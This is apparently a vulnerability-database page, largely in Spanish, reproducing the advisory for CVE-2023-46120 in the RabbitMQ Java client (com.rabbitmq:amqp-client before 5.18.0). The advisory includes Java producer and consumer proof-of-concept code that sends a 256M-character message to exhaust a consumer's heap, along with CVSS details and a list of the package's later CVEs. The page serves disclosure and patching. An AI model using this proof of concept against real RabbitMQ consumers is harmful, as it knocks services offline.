Media

RabbitMQ Java client's Lack of Message Size Limitation leads to Remote DoS Attack

Publicada: 24.10.2023
Actualizado: 11.10.2026 13:20

Summary

maxBodyLebgth was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.

PoC

RbbitMQ

Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory)
Start RabbitMQ

Producer

Build a String of length 256M and send it to Consumer

package org.springframework.amqp.helloworld; 

import org.springframework.amqp.core.AmqpTemplate; 
import org.springframework.context.ApplicationContext; 
import org.springframework.context.annotation.AnnotationConfigApplicationContext; 

public class Producer {
    public static void main(String[] args) {
        ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
        AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); 
        String s = "A";
        for(int i=0;i<28;++i){
            s = s + s;
            System.out.println(i);
        }
        amqpTemplate.convertAndSend(s);
        System.out.println("Send Finish");
    }
 }

Consumer

First set the heap memory size to 128M
Read the message sent by the Producer from the MQ and print the length

package org.springframework.amqp.helloworld;

import org.springframework.amqp.core.AmqpTemplate;
import org.springframework.amqp.core.Message;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;

public class Consumer {
    
    public static void main(String[] args) {
        ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
        AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
        Object o = amqpTemplate.receiveAndConvert();
        if(o != null){
            String s = o.toString();
            System.out.println("Received Length : " + s.length());
        }else{
            System.out.println("null");
        }
    }
}

Results

Run the Producer first, then the Consumer
Consumer throws OOM Exception

Impact

Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

Plataforma	Paquete	Versiones vulnerables	Corregida en
Java / Kotlin (Maven)	com.rabbitmq:amqp-client	< 5.18.0	5.18.0

Referencias

Puntuación CVSS 4.9/10

Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Debilidad (CWE): CWE-400
Plataforma: Java / Kotlin (Maven)
Paquete: com.rabbitmq:amqp-client
Publicada: 24.10.2023
Actualizado: 11.10.2026 13:20

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-mm8h-8587-p46h - CC BY 4.0

Historial de vulnerabilidades: com.rabbitmq:amqp-client

Todas las vulnerabilidades publicadas de este paquete (Java / Kotlin (Maven)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (12) en el archivo

Entradas en total: 12
Primera → última: 10.2018 10.2026
Sin corrección: 0
Explotada en ataques: 0

Distribución por gravedad

Alta 4
Media 7
Baja 1

Divulgaciones por año

2018: 1
2019: 0
2020: 0
2021: 0
2022: 0
2023: 1
2024: 0
2025: 0
2026: 10

17.09.2026

RabbitMQ Java client has frame-level OOM: Math.min(maxInboundMessageBodySize, 0) defeats frame size enforcement

Alta CVE-2026-75516 < 5.34.0 5.34.0
18.08.2026

RabbitMQ Java client: Unvalidated Class.forName in JSON-RPC ProcedureDescription enables arbitrary class loading

Alta CVE-2026-63337 < 5.33.0 5.33.0
18.08.2026

RabbitMQ Java client ValueReader: Oversized LongString/bytes length triggers OOM via unchecked allocation

Alta CVE-2026-69219 < 5.33.1 5.33.1
18.08.2026

RabbitMQ Java client ValueReader: Unbounded recursive table/array nesting causes StackOverflowError DoS

Alta CVE-2026-69220 < 5.33.1 5.33.1
24.10.2023

RabbitMQ Java client's Lack of Message Size Limitation leads to Remote DoS Attack esta entrada

Media · 4.9 CVE-2023-46120 < 5.18.0 5.18.0

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación